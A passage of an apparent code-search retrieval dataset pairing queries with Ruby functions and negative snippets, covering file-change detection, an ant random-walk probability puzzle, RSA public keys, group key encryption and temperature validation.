$cur_file_time_dict[file] = File.mtime(file)
return $file_time_dict[file] == nil || ($file_time_dict[file] != File.mtime(file))
end
else
raise "file type error #{$file_target_dict[file].class}"
end
end | [
"def changed?(file); end",
"def requires_modified_files?\n false\n end",
"def same_modification_as?(other_file)\n @file_modified && @file_modified == other_file.file_modified ? true : false\n end",
"def file_has_changed?\n original_filename_changed? or original_filesize_changed?\n end",
"def modified?\n file_modification_time.to_s != last_modified.getutc.to_datetime.to_s\n end",
"def has_changed?\n\t\t\t@timestamp != File.mtime( path )\n\t\tend",
"def changed?(file)\n changed.member?(file)\n end",
"def file_modified?\n modified = false\n\n if @name\n begin\n mtime = File.mtime( @name )\n\n if mtime > @last_modification_check\n modified = true\n @last_modification_check = mtime\n end\n rescue Errno::ENOENT\n # Ignore if file doesn't exist\n end\n end\n\n modified\n end",
"def modifications?\n status.each do |info|\n if (info.type and info.path != INFO_FILE_NAME)\n return true\n end\n end\n\n false\n end",
"def file_modified\n end",
"def files_dirty?\n return true if manifest.empty?\n\n previous_files = manifest.files\n\n # check for modifications to new files\n input_files.each do |input_file|\n if !previous_files[input_file]\n return true # there is a new file in the pipeline\n elsif File.mtime(input_file).to_i != previous_files[input_file]\n return true # existing file has been changed\n end\n end\n\n false\n end",
"def changelog_has_been_modified\n\n modified = git.modified_files.include?(\"CHANGELOG.md\")\n return modified\n\nend",
"def changed?\n File.mtime(@file).to_i != @mtime rescue true\n end",
"def file_changed?(file)\n file_new?(file) || File.mtime(file) > MTIMES[file]\n end",
"def file_changed?\n @new_file.present?\n end",
"def brewfile_has_been_modified\n \n modified = git.modified_files.include?(\"Brewfile\")\n return modified\n \nend",
"def file_modified?(file, opts={})\n vf_old, vf_new = opts[:node1][file], opts[:node2][file]\n\n tests = [vf_old.flags != vf_new.flags,\n vf_old.file_node != vf_new.file_node &&\n (vf_new.changeset.include?(file) || vf_old === vf_new)]\n tests.any?\n end",
"def check_files\n updated = []\n files.each do |filename, mtime| \n begin\n current_mtime = File.stat(filename).mtime\n rescue Errno::ENOENT\n # file was not found and was probably deleted\n # remove the file from the file list \n files.delete(filename)\n next\n end\n if current_mtime != mtime \n updated << filename\n # update the mtime in file registry so we it's only send once\n files[filename] = current_mtime\n puts \"quick_serve: spotted change in #{filename}\"\n end\n end\n QuickServe::Rails::Snapshot.reset if updated != []\n false\n end",
"def changed?\n @changed ||= sorted_file != IO.read(file)\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Find the probability that after n steps the ant ends up back at (0, 0). Return this probability as an irreducible fraction as an array [numerator, denominator]. Example For n = 2, the output should be antWalking(2) = [1, 4]. Let L, R, U and D stand stand for a step to the left, right, up and down respectively. Thus, the possible paths the ant can travel are: LL, LR, LU, LD, RL, RR, RU, RD, UL, UR, UU, UD, DL, DR, DU, and DD. Only LR, RL, UD, and DU bring the ant back to (0, 0). Thus, the probability is (4 choices)/(16 total) = 1/4. | def antWalking(n)
r = Rational((1..n).to_a.combination(n/2).to_a.size ** 2, 4**n)
[r.numerator, r.denominator]
end | [
"def permutations(n, r)\n result = factorial(n) / factorial(n - r)\n puts \"\\nP(#{n},#{r}) = #{result}\"\n end",
"def doTrials(n)\n total = 0\n n.times do |i|\n total += turn()\n end\n return \"Average damage: $%d\" % [total / n]\nend",
"def count_ways(n)\n return 0 if n <= 0\n dp = Array.new(n + 1)\n dp[0] = 1\n (1..n).each do |i|\n result = 0\n (1..3).each do |j|\n result += dp[i - j] if i - j >= 0\n end\n dp[i] = result\n end\n dp[n]\nend",
"def probability m, n\r\n\t\t\treturn 1.0 * combination( @p, m ) * combination( @q, ( n - m ) ) / combination( ( @p + @q ), n )\r\n\t\tend",
"def probability(arr, n)\n num_count = 0\n num_count = arr.count{|x| x >= n}\n percent = 100 * (num_count) / arr.length.to_f\n percent.round(1)\nend",
"def number_of_paths(n)\n return 0 if n < 0\n return 1 if n == 1 || n == 0\n number_of_paths(n - 1) + number_of_paths(n - 2) + number_of_paths(n - 3)\nend",
"def num_of_permutations(n, r)\n (n.factorial)/((n-r).factorial)\n end",
"def nth_permutation(accumulated, choices, n)\n return accumulated if choices.empty?\n #return accumulated + choices[0].to_s if n == 0\n\n sub_permutations = factorial(choices.length - 1)\n choice_partition = (n - 1) / sub_permutations\n nth_permutation(accumulated + (choices.delete_at(choice_partition)).to_s, choices, n - choice_partition * sub_permutations)\nend",
"def convergents(n)\n Enumerator.new do |y|\n first = n.floor\n n = 1 / (n-first)\n rest = []\n loop do\n a = n.floor\n n = 1 / (n-a)\n rest.unshift a\n y << first + rest.reduce(0r) { |c, a| 1/(c+a) }\n end\n end\nend",
"def count_ways(n)\n return 0 if n < 0\n return 1 if n == 0\n count = count_ways(n-1) + count_ways(n-2) + count_ways(n-3)\n return count\nend",
"def rad(n)\n factors = []\n p = 1\n\n factors = `factor #{n}`.chomp.split(\" \")\n factors.delete_at(0)\n factors.uniq.collect{|x| p *= x.to_i}\n p\nend",
"def lattice_path_permutation!(n)\n (2*n).downto(n+1).inject(:*)/(n).downto(1).inject(:*) \nend",
"def permutation_average(n)\n arr = n.to_s.split(\"\").permutation.to_a.map {|a| a.join(\"\").to_i}\n (arr.reduce(:+).to_f / arr.count).round\nend",
"def powm\n probNum = 1\n numTurns = 15\n probDenom = (2..numTurns+1).inject(&:*)\n probPuller = Array.new(numTurns) {|i| i + 1}\n (1..(numTurns-1)/2).each do |i|\n probPuller.combination(i) do |f|\n probNum += f.inject(&:*)\n end\n end\n probDenom / probNum\nend",
"def int_rac(n, x)\n e = 1\n progression = [x]\n\n loop do\n progression << guess_x = (x + n / x) / 2\n break if (guess_x - x).abs < e\n x = guess_x\n end\n\n progression.count - 1\nend",
"def dyn_count_ways(n, count_arr)\n return 0 if n < 0\n return 1 if n ==0\n return count_arr[n] if count_arr[n] != nil\n count_arr = count_ways(n-1) + count_ways(n-2) + count_ways(n-3)\nend",
"def advance(step, n = 0, total = nil, bin = true)\n # Initialize advance timing\n @_advance_time ||= { last: nil, n: 0, avg: nil }\n if @_advance_time[:n] > n\n @_advance_time[:last] = nil\n @_advance_time[:n] = 0\n @_advance_time[:avg] = nil\n end\n\n # Estimate timing\n adv_n = n - @_advance_time[:n]\n if total.nil? || @_advance_time[:last].nil? || adv_n.negative?\n @_advance_time[:last] = Time.now\n @_advance_time[:n] = n\n elsif adv_n > 0.001 * total\n this_time = (Time.now - @_advance_time[:last]).to_f\n this_avg = this_time / adv_n\n @_advance_time[:avg] ||= this_avg\n @_advance_time[:avg] = 0.9 * @_advance_time[:avg] + 0.1 * this_avg\n @_advance_time[:last] = Time.now\n @_advance_time[:n] = n\n end\n\n # Report\n adv =\n if total.nil?\n (n == 0 ? '' : num_suffix(n, bin))\n else\n vals = [100.0 * n / total, num_suffix(n, bin), num_suffix(total, bin)]\n ('%.1f%% (%s/%s)' % vals)\n end\n left =\n if @_advance_time[:avg].nil?\n ''\n else\n left_time = @_advance_time[:avg] * (total - n) / 60 # <- in minutes\n left_time < 0.01 ? ' ' :\n left_time < 1 ? ('%.0fs left' % (left_time * 60)) :\n left_time > 1440 ? ('%.1fd left' % (left_time / 1440)) :\n left_time > 60 ? ('%.1fh left' % (left_time / 60)) :\n ('%.1fm left' % left_time)\n end\n $stderr.print(\"[%s] %s %s %s \\r\" % [Time.now, step, adv, left])\n end",
"def perimeter(n)\n a = b = 1\n reduced = (0...n).reduce(1) do |sum, num|\n a, b = b, a + b\n sum + a\n end \n reduced * 4 \nend",
"def prop_a\n bases_a / length.to_f\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Public key and its PEM is always visible and accessible to any | def public_key
OpenSSL::PKey::RSA.new self.public_key_pem
end | [
"def public_key\n require_key\n\n @private_key.public_key.to_pem\n end",
"def get_public_key\n private_rsa = OpenSSL::PKey::RSA.new @private_key\n return private_rsa.public_key.to_pem\n end",
"def key_pem; end",
"def retrieve_public_key\n Crypto.make_rsa_keypair(public_key, nil)\n end",
"def public_key; end",
"def public_key\n Akero.replate(@cert.to_s, Akero::PLATE_CERT)\n end",
"def public_key\n @cert.public_key\n end",
"def public_key_data\n @public_key\n end",
"def to_public\n RsaKeyPair.from_data(raw_key.public_key.to_pem)\n end",
"def public_key\n @cert.public_key\n end",
"def load_public_key\n @public_rsa = nil\n \n if public_key_file && File.file?(public_key_file)\n @public_key = File.read(public_key_file)\n end\n end",
"def load_public_key(filename); end",
"def public_key\n nil\n end",
"def public_key(*) end",
"def get_public_key(private_key)\n PointG1.from_private_key(private_key)\n end",
"def public_key\n # The public key is provided as a JSON Web Key Set (JWKS) by the jwks_uri \n # endpoint of the Authorization Server.\n\n response = @connection.get(@configuration[\"jwks_uri\"])\n jwks = JSON.parse(response.body)\n\n # Use only first key returned and retrieve the \"n\" field of that key\n jwks[\"keys\"].first[\"n\"]\n end",
"def public_key_data\n buf_property(:rnp_get_public_key_data)\n end",
"def export_public_key\n public_key = context.crypto.extract_public_key(private_key)\n VirgilBuffer.from_bytes(context.crypto.export_public_key(public_key))\n end",
"def public_key=(k)\n return self.authentication.public_key = k\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Associate +other+ object (User or Item) to the group. Option authorized_by must be given unless adding the existing user to new group: group = Group.new(name: 'group 1') group.add user user must exist and be saved While adding user to the new group, it is being saved. Returns self, so can be chained. Adding user to the group requires authorization: | def add(other, **options)
authenticator = options[:authorization_user] || @authorization_user
cipher = OpenSSL::Cipher::AES256.new(:CBC)
case other
when User
if new_record?
# creating new group key
if other.authenticated?
# generate key and iv to be used to encrypt the group private key
new_group_key, new_group_iv = cipher.random_key, cipher.random_iv
# cipher the group private key PEM with a new key and iv
self.private_key_pem_crypted = encrypt(self.private_key_pem, new_group_key, new_group_iv)
self.users << other # add the user to the group
meta = self.meta_keys.find {|x| x.user == other} # can't use find_by or where, as it is not saved yet
# it should be a new record, so contains just one meta_key
meta.key_crypted, meta.iv_crypted = other.public_key.public_encrypt(new_group_key),
other.public_key.public_encrypt(new_group_iv)
# self.save!
else
raise Tarkin::GroupNotAccessibleException, "Group #{self.name} can't be accessed by #{other.name}"
end
else
raise Tarkin::NotAuthorized, "This operation must be autorized by valid user" unless authenticator
meta = authenticator.meta_keys.find_by(group: self)
if meta
# decipher the group key and iv using authorizing user private key
group_key, group_iv = authenticator.private_key.private_decrypt(meta.key_crypted),
authenticator.private_key.private_decrypt(meta.iv_crypted)
# save it with other user public key
self.meta_keys.new user: other, key_crypted: other.public_key.public_encrypt(group_key),
iv_crypted: other.public_key.public_encrypt(group_iv)
# self.users(true) # reload the users after creating MetaKey manually
# other.groups(true) # reload the groups for user after adding it
@must_reload = true
@to_reload = other
else
raise Tarkin::GroupNotAccessibleException, "Group #{self.name} does not belongs to #{authenticator.name}"
end
other
end
when Item
raise Tarkin::NotAuthorized, "This operation must be autorized by valid user" unless authenticator.authenticated?
# generate key and iv to be used to encrypt the item password
if other.new_record? && self.items.empty?
new_item_key, new_item_iv = cipher.random_key, cipher.random_iv
key_crypted, iv_crypted = self.public_key.public_encrypt(new_item_key), self.public_key.public_encrypt(new_item_iv)
other.password_crypted = encrypt(other.password, new_item_key, new_item_iv)
other.groups << self
meta = other.meta_keys.find {|x| x.group == self}
raise "Couldn't find the corresponding meta" unless meta
meta.key_crypted, meta.iv_crypted = key_crypted, iv_crypted
# other.save!
else
authenticator_meta, authenticator_group = meta_and_group_for_user_and_item authenticator, other
authenticator_group_private_key = authenticator_group.private_key(authorization_user: authenticator)
item_key, item_iv = authenticator_group_private_key.private_decrypt(authenticator_meta.key_crypted),
authenticator_group_private_key.private_decrypt(authenticator_meta.iv_crypted)
key_crypted, iv_crypted = self.public_key.public_encrypt(item_key), self.public_key.public_encrypt(item_iv)
self.meta_keys.new item: other, key_crypted: key_crypted, iv_crypted: iv_crypted
# other.meta_keys.new group: self, key_crypted: key_crypted, iv_crypted: iv_crypted
@must_reload = true
@to_reload = other
# self.items(true)
# other.groups(true)
end
other
end
end | [
"def add(other, **options)\n\t\tauthorizator = options[:authorization_user]\n @to_save = other\n\t\tcase other\n\t\twhen Group\n\t\t\tif other.new_record?\n\t\t\t\tother.add self\n\t\t\t\tother\n\t\t\telse\n\t\t\t\traise Tarkin::NotAuthorized, \"This operation must be autorized by valid user\" unless authorizator and authorizator.authenticated?\n\t\t\t\tother.add self, authorization_user: authorizator\n\t\t\t\tother\n\t\t\tend\n\t\tend\n\tend",
"def add(other, **options)\n authenticator = options[:authorization_user] || @authorization_user\n cipher = OpenSSL::Cipher::AES256.new(:CBC)\n case other\n when Group\n if self.new_record? && self.groups.empty?\n # user not needed\n new_item_key, new_item_iv = cipher.random_key, cipher.random_iv\n key_crypted, iv_crypted = other.public_key.public_encrypt(new_item_key), other.public_key.public_encrypt(new_item_iv)\n self.password_crypted = encrypt(self.password, new_item_key, new_item_iv)\n self.groups << other\n meta = self.meta_keys.find {|x| x.group == other}\n raise \"Couldn't find the corresponding meta\" unless meta\n meta.key_crypted, meta.iv_crypted = key_crypted, iv_crypted\n else\n # have to decrypt\n raise Tarkin::NotAuthorized, \"This operation must be autorized by valid user\" unless authenticator\n authenticator_meta, authenticator_group = meta_and_group_for_user authenticator\n # puts \"*** #{authenticator_meta.id} #{authenticator_group.id}\"\n authenticator_group_private_key = authenticator_group.private_key(authorization_user: authenticator)\n item_key, item_iv = authenticator_group_private_key.private_decrypt(authenticator_meta.key_crypted),\n authenticator_group_private_key.private_decrypt(authenticator_meta.iv_crypted)\n key_crypted, iv_crypted = other.public_key.public_encrypt(item_key), other.public_key.public_encrypt(item_iv)\n self.meta_keys.new group: other, key_crypted: key_crypted, iv_crypted: iv_crypted\n @must_reload = true # must reload after save to see the new added group\n # self.items(true)\n # other.groups(true)\n end\n other\n end\n end",
"def add_user_to_group(requesting_user, user, group)\n return :unauthorized unless user_is_admin?(requesting_user)\n add_user_to_group!(user, group)\n end",
"def add_user!( user )\n raise TypeError.new('not a user') unless user.is_a?(Ecore::User)\n user.add_group!(self)\n end",
"def add_user_to_group(user, group)\n\t\t\tend",
"def add_user(user)\n group_members.create(group: self, user: user, accepted: DateTime.now)\n end",
"def add_user_to_group(user_name, group_name)\n request_hash = { 'UserName' => user_name,\n 'GroupName' => group_name }\n link = generate_request(\"AddUserToGroup\", request_hash)\n request_info(link, RightHttp2xxParser.new(:logger => @logger))\n end",
"def addUserToGroup\n @user_to_add = User.find(params[:user_to_add])\n @current_group = Group.find_by_id(session[:current_group_id])\n @user_to_add.groups << @current_group\n redirect_to findAvailableUsers_url, notice: 'User was successfully added.'\n end",
"def add_user(group_id, user_id)\n response = @client.post(\"groups/#{group_id}/users/#{user_id}\")\n verify response,\n forbidden: 'You do not have permission to add users to a group',\n not_found: 'Group or user does not exist',\n internal_server_error: 'Server failed to add the user to the group'\n end",
"def add_user_group(group_id, user_email)\n group = Group.find(group_id)\n if group\n user = get_user_discourse(user_email)\n if user\n #if user isn't already in group, add user\n if !GroupUser.find_by(group_id: group.id, user_id: user.id)\n group.add(user)\n end\n end\n end\n end",
"def add_group(group)\n reset!\n unless group_authz_id = group.authz_id\n raise ArgumentError, \"No actor id for group #{group.inspect}\"\n end\n authz_client.resource(authz_id, :groups, group_authz_id).put(\"\")\n end",
"def add_user(organization, user)\n organization.add_user user\n end",
"def add_to_group(group)\n group.members << self\n @parent = group\n end",
"def add_user(newuser)\n @group_users.push(newuser)\n end",
"def add_group(group)\n unless group_authz_id = group.authz_id\n raise ArgumentError, \"No actor id for group #{group.inspect}\"\n end\n authz_client.resource(authz_id, :groups, group_authz_id).put(\"\")\n end",
"def add_friend(other_user)\n friendship << other_user\n end",
"def add_to_group(group)\n gm = Fl::Framework::Actor::GroupMember.query_for_actor_in_group(self, group).first\n if gm.nil?\n gm = self.actor_containers.create(:group => group, :actor => self)\n end\n\n gm\n end",
"def add_user(user_id, is_editor = false, is_administrator = false, is_creator = false)\n\t\tgroup = ProjectGroup.new\n\t\tgroup.user_id = user_id\n\t\tgroup.project_creator = is_creator\n\t\tgroup.project_editor = is_editor\n\t\tgroup.project_administrator = is_administrator\n\t\tproject_groups << group\n\tend",
"def add_member_to_group(group_id, user_id)\n request :post,\n \"/v3/team/groups/#{group_id}/members/#{user_id}.json\"\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
List user names of the group, ordered by the last name | def user_names
self.users.order(:last_name).collect(&:name)
end | [
"def find_user_groups\r\n user_group = Group.where(\"id IN (SELECT gu.group_id FROM groups_users gu WHERE gu.user_id = ?)\", User.current.id).all\r\n group_names = []\r\n user_group.each do |group|\r\n group_names << group.lastname\r\n end\r\n return group_names\r\n end",
"def members_usernames\n # users.map { |u| u.username }.sort\n users.map(&:username).sort\n end",
"def member_user_names\n r = Skype.send_ :command => \"get group #{@gid} users\"\n r.sub(/^.*USERS /, \"\").split(\", \")\n end",
"def usernames\n self.users.map{|user| user.username }.sort { |a,b| a.downcase <=> b.downcase }\n end",
"def get_buzz_member_names\n user_name = []\n self.buzz_members.order(\"users.first_name asc\").each{|member| user_name << member.user.full_name}\n user_name.join(\" , \")\n end",
"def display_name\n \"#{user} - #{group}\"\n end",
"def name_list(course_users)\n course_users_names = course_users.to_a.map(&:name).sort!\n course_users_names.each_with_index do |course_user, index|\n course_users_names[index] = \"#{index + 1}. #{course_user}\"\n end.join(\"\\n\")\n end",
"def usernames\n if @usernames\n @usernames\n else\n users = PadmaUser.paginate(account_name: self.name, per_page: 100)\n @usernames = users.nil? ? nil : users.map(&:username).sort\n end\n end",
"def usernames\n person.users.collect(&:login).join(\", \") rescue nil\n end",
"def complete_name_list\n #User.select(:name).map{|user_record| user_record.name}\n end",
"def get_group_user_names_by_group_name(name)\n id = self.get_group_id_by_group_name(name)\n result = self.get_group_users(id)\n result[\"group\"].select{|values| values[\"users\"]}[\"users\"].map{|v| v[\"name\"]}\n end",
"def group_names\r\n\t\tnames = []\r\n\t\tgroup.each do |mem|\r\n\t\t\tnames << mem.name\r\n\t\tend\r\n\t\tnames\r\n\tend",
"def all_names\n @json_data['family_members'].collect { |user| user['name'] }\n end",
"def names\n @users.values.map(&:name)\n end",
"def get_names()\n names = []\n json = read_json()\n json.each { |user_hash| names.push(user_hash[\"user_name\"]) }\n sorted = names.sort # sort names alphabetically\n sorted = sorted.count > 3 ? rotate_names(sorted) : sorted # rerrange names if more than 3 names, otherwise return sorted\nend",
"def users\n unless @users\n userListService = $viewContext.getViewService(OTUserListService.java_class)\n @users = userListService.getUserList().sort_by { |user| #sort users by name\n (user.name && !user.name.empty?) ? user.name.downcase.split.values_at(-1, 0) : [''] \n }\n end\n @users\n end",
"def usernames\n users.map(&:username)\n end",
"def group_names\n @group_names ||= groups.map { |g| g[:cn].first }\n end",
"def surfer_list\n users.map(&:name).join(', ')\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
isValid() checks if given parameters are valid Input: degrees, a float; scale, a string Output: throws Invalid_Temperature if below 0 K throws Invalid_Scale if given scale does exist | def isValid(degrees, scale)
invalid_temp = "#{degrees} #{scale} is below 0 K"
invalid_scale = "Temperature Scale #{scale} is invalid"
if scale =~ /f/ then
Kernel::raise Invalid_Temperature, invalid_temp if degrees < -459.67
elsif scale =~ /c/ then
Kernal::raise Invalid_Temperature, invalid_temp if degrees < -273.15
elsif scale =~ /k/ then
Kernel::raise Invalid_Temperature, invalid_temp if degrees < 0
else
Kernel::raise Invalid_Scale, invalid_scale
end
end | [
"def isValid(degrees, scale)\n invalid_temp = \"#{degrees} #{scale} is below 0 K\"\n invalid_scale = \"Temperature Scale #{scale} is invalid\"\n if scale =~ /f/ then\n Kernel::raise Invalid_Temperature, invalid_temp if degrees < -459.67\n elsif scale =~ /c/ then\n Kernal::raise Invalid_Temperature, invalid_temp if degrees < -273.15\n elsif scale =~ /k/ then\n Kernel::raise Invalid_Temperature, invalid_temp if degrees < 0\n else\n Kernel::raise Invalid_Scale, invalid_scale\n end \n end",
"def validTemp degrees, scale\n\t\t\tcase scale\n\t\t\t\twhen 'C'\n\t\t\t\t\tif degrees >= -273.15 && degrees <= 141683385000000005000000000000273.15\n\t\t\t\t\t\treturn true\n\t\t\t\t\telse\n\t\t\t\t\t\tprint \"Degree must be between absolute zero and the Planck temperature\"\n\t\t\t\t\t\treturn false\n\t\t\t\t\tend\n\t\t\t\twhen 'F'\n\t\t\t\t\tif degrees >= -459.67 && degrees <= 255030093000000008999999999999540.33\n\t\t\t\t\t\treturn true\n\t\t\t\t\telse\n\t\t\t\t\t\tprint \"Degree must be between absolute zero and the Planck temperature\"\n\t\t\t\t\t\treturn false\n\t\t\t\t\tend\n\t\t\t\twhen 'K'\n\t\t\t\t\tif degrees >= 0.0 && degrees <= 141683385000000005000000000000000.0\n\t\t\t\t\t\treturn true\n\t\t\t\t\telse\n\t\t\t\t\t\tprint \"Degree must be between absolute zero and the Planck temperature\"\n\t\t\t\t\t\treturn false\n\t\t\t\t\tend\n\t\t\telse\n\t\t\t\tprint \"Scale must be Celsius, Fahrenheit, or Kelvin (i.e. C, F, K)\"\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
"def isValid(degrees, scale)\n\t\tif ( scale == 'K' or scale == 'k' ) then\n\t\t\tif ( degrees < 0.0 ) then\n\t\t\t\treturn false;\n\t\t\telse\n\t\t\t\treturn true;\n\t\t\tend\n\t\telsif ( scale == 'C' or scale == 'c' ) then\n\t\t\tif ( degrees < -237.0 ) then\n\t\t\t\treturn false;\n\t\t\telse\n\t\t\t\treturn true;\n\t\t\tend\n\t\telsif ( scale == 'F' or scale == 'f' ) then\n\t\t\tif ( degrees < -459.0 ) then\n\t\t\t\treturn false;\n\t\t\telse\n\t\t\t\treturn true;\n\t\t\tend\n\t\telse\n\t\t\treturn false;\n\t\tend\n\tend",
"def tempCheck(degrees, scale)\n if scale == \"F\" and degrees >= -459.67\n return true\n elsif scale == \"C\" and degrees >= -273.15\n return true\n elsif scale == \"K\" and degrees >= 0\n return true\n else\n return false\n end \n end",
"def tempCheck(degrees, scale)\r\n if scale == \"F\" and degrees >= -459.67\r\n return true\r\n elsif scale == \"C\" and degrees >= -273.15\r\n return true\r\n elsif scale == \"K\" and degrees >= 0\r\n return true\r\n else\r\n return false\r\n end \r\n end",
"def ChartScaleValid(scale)\n s = scale.to_i\n if scale != s.to_s\n STDERR.print \" ERROR - Given chart scale #{scale} is not a number.\\n\"\n return false\n elsif scale.to_i != 0 && (scale.to_i < 100 || scale.to_i > 10000000)\n STDERR.print \" ERROR - Given chart scale 1:#{scale} out of reasonable range.\\n\"\n return false\n end\n return true\nend",
"def isValid( val, unit )\n if unit != 'F' && unit != 'C' && unit != 'R' && unit != 'K' then\n return false\n elsif val < 0.0 && (unit == 'K' || unit == 'R') then\n return false\n elsif val < -273.15 && unit == 'C' then\n return false\n elsif val < -459.67 && unit == 'F' then\n return false\n else\n return true\n end\n end",
"def validate_parameters\r\n validation_result = true\r\n validation_error = Fusioncharts::Exporter::FcError.new\r\n if(@params[:stream].nil?)\r\n validation_result =false\r\n validation_error.set_error_code(\"100\")\r\n elsif(@params[:meta_width].nil? or @params[:meta_height].nil? or @params[:meta_width].eql?(\"0\") or @params[:meta_height].eql?(\"0\"))\r\n validation_result =false\r\n validation_error.set_error_code(\"101\")\r\n elsif(@params[:meta_bgColor].nil?)\r\n validation_error.add_warning(\"513\")\r\n validation_result =false\r\n end\r\n return validation_result ? validation_result : validation_error\r\n end",
"def validateMetric(params)\n params[:thickness_metric] = add_zero_to_decimal_val(params[:thickness_metric])\n params[:width_metric] = add_zero_to_decimal_val(params[:width_metric])\n\n not_zero(params[:thickness_metric],\"thickness\")\n not_zero(params[:cubic_meters], \"cubic meters\")\n \n is_numeric(params[:width_metric], \"width\")\n if params[:length_metric_upper].blank?\n is_numeric(params[:length_metric_lower],\"length\")\n else\n is_numeric(params[:length_metric_lower],\"lower range of length\")\n is_numeric(params[:length_metric_upper],\"upper range of length\")\n end\n end",
"def initialize(degree, scale)\n if isValidTemperature(degree, scale)\n @myDegree, @myScale = degree, scale\n end\n end",
"def validateImperial(params)\n params[:thickness_imperial] = add_zero_to_decimal_val(params[:thickness_imperial])\n params[:thickness_actual] = add_zero_to_decimal_val(params[:thickness_actual])\n params[:width_imperial] = add_zero_to_decimal_val(params[:width_imperial])\n params[:width_actual] = add_zero_to_decimal_val(params[:width_actual])\n\n not_zero(params[:board_feet], \"board feet\")\n if params[:length_imperial_upper].blank?\n is_numeric(params[:length_imperial_lower],\"length\")\n else\n is_numeric(params[:length_imperial_lower],\"lower range of length\")\n is_numeric(params[:length_imperial_upper],\"upper range of length\")\n end\n end",
"def readTemp()\n\n\t\tprint \"Please enter the degrees and scale: \"\n\t\tuser_input = gets\n\n\t\tnew_array = user_input.split(\" \")\n\n\t\tdegree_temp = new_array[0].to_f\n\t\ttemp_string = new_array[1]\n\n\t\tarray2 = temp_string.split()\n\n\t\tscale_temp = array2[0]\n\n\t\tif ( isValid(degree_temp, scale_temp) ) then\n\t\t\t@degree = degree_temp\n\t\t\t@scale = scale_temp\n\t\telse\n\t\t\tprint \"Invalid Temperature\"\n\t\tend\n\tend",
"def initialize(degrees, scale)\n scale = scale.downcase\n isValid(degrees, scale)\n @degrees, @scale = degrees, scale\n end",
"def valid_float?\nbegin\nFloat(self)\ntrue\nrescue ArgumentError\nfalse\nend\nend",
"def initialize(degrees, scale)\r\n scale = scale.downcase\r\n isValid(degrees, scale)\r\n @degrees, @scale = degrees, scale\r\n end",
"def is_valid_dimension? dimensions\n\t\t\tdimensions.is_a? Integer and dimensions > 0\n\t\tend",
"def correct_format?\n\t\t\tvalid = true\n\n\t\t\tif self.color.kind_of?(String)\n\t\t\t\tvalid = !!XYZ.regular_expression.match(self.color)\n\t\t\tend\n\t\t\tvalid\n\t\t\t#valid && self.x.between?(0, 1) && self.y.between?(0, 1) && self.z.between?(0, 1)\n\t\tend",
"def valid?\n values.size == Merit::POINTS &&\n surface > 1 / 3601.0 && surface < 1 / 3599.0\n end",
"def readInput\n puts 'Please enter a valid Temperature: '\n input = gets.to_s\n anArray = input.split(' ')\n self.myDegrees = anArray[0].to_f\n self.myScale = anArray[1].upcase\n checkIfValid(self.myDegrees, self.myScale)\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
initialize() intializes Temperature object Input: degrees, a float; scale, a string Returns: Temperature object if valid parameters else exception | def initialize(degrees, scale)
scale = scale.downcase
isValid(degrees, scale)
@degrees, @scale = degrees, scale
end | [
"def initialize(degree, scale)\n if isValidTemperature(degree, scale)\n @myDegree, @myScale = degree, scale\n end\n end",
"def initialize(degrees, scale)\n scale = scale.downcase\n isValid(degrees, scale)\n @degrees, @scale = degrees, scale\n end",
"def initialize(value, scale)\n if not Temperature.is_scale_valid(scale)\n puts \"Invalid scale provided.\"\n end\n @value, @scale = value, scale.upcase\n end",
"def isValid(degrees, scale)\n invalid_temp = \"#{degrees} #{scale} is below 0 K\"\n invalid_scale = \"Temperature Scale #{scale} is invalid\"\n if scale =~ /f/ then\n Kernel::raise Invalid_Temperature, invalid_temp if degrees < -459.67\n elsif scale =~ /c/ then\n Kernal::raise Invalid_Temperature, invalid_temp if degrees < -273.15\n elsif scale =~ /k/ then\n Kernel::raise Invalid_Temperature, invalid_temp if degrees < 0\n else\n Kernel::raise Invalid_Scale, invalid_scale\n end \n end",
"def isValid(degrees, scale)\r\n invalid_temp = \"#{degrees} #{scale} is below 0 K\"\r\n invalid_scale = \"Temperature Scale #{scale} is invalid\"\r\n if scale =~ /f/ then\r\n Kernel::raise Invalid_Temperature, invalid_temp if degrees < -459.67\r\n elsif scale =~ /c/ then\r\n Kernal::raise Invalid_Temperature, invalid_temp if degrees < -273.15\r\n elsif scale =~ /k/ then\r\n Kernel::raise Invalid_Temperature, invalid_temp if degrees < 0\r\n else\r\n Kernel::raise Invalid_Scale, invalid_scale\r\n end \r\n end",
"def readTemp()\r\n print \"(Enter the temperature in the format --- degrees, scale): \"\r\n inputStr = gets.split\r\n degree = inputStr[0].to_f\r\n scale = inputStr[1].to_s\r\n\r\n return Temperature.new(degree, scale)\r\n end",
"def readTemp()\n print \"(Enter the temperature in the format --- degrees, scale): \"\n inputStr = gets.split\n degree = inputStr[0].to_f\n scale = inputStr[1].to_s\n\n return Temperature.new(degree, scale)\n end",
"def validTemp degrees, scale\n\t\t\tcase scale\n\t\t\t\twhen 'C'\n\t\t\t\t\tif degrees >= -273.15 && degrees <= 141683385000000005000000000000273.15\n\t\t\t\t\t\treturn true\n\t\t\t\t\telse\n\t\t\t\t\t\tprint \"Degree must be between absolute zero and the Planck temperature\"\n\t\t\t\t\t\treturn false\n\t\t\t\t\tend\n\t\t\t\twhen 'F'\n\t\t\t\t\tif degrees >= -459.67 && degrees <= 255030093000000008999999999999540.33\n\t\t\t\t\t\treturn true\n\t\t\t\t\telse\n\t\t\t\t\t\tprint \"Degree must be between absolute zero and the Planck temperature\"\n\t\t\t\t\t\treturn false\n\t\t\t\t\tend\n\t\t\t\twhen 'K'\n\t\t\t\t\tif degrees >= 0.0 && degrees <= 141683385000000005000000000000000.0\n\t\t\t\t\t\treturn true\n\t\t\t\t\telse\n\t\t\t\t\t\tprint \"Degree must be between absolute zero and the Planck temperature\"\n\t\t\t\t\t\treturn false\n\t\t\t\t\tend\n\t\t\telse\n\t\t\t\tprint \"Scale must be Celsius, Fahrenheit, or Kelvin (i.e. C, F, K)\"\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
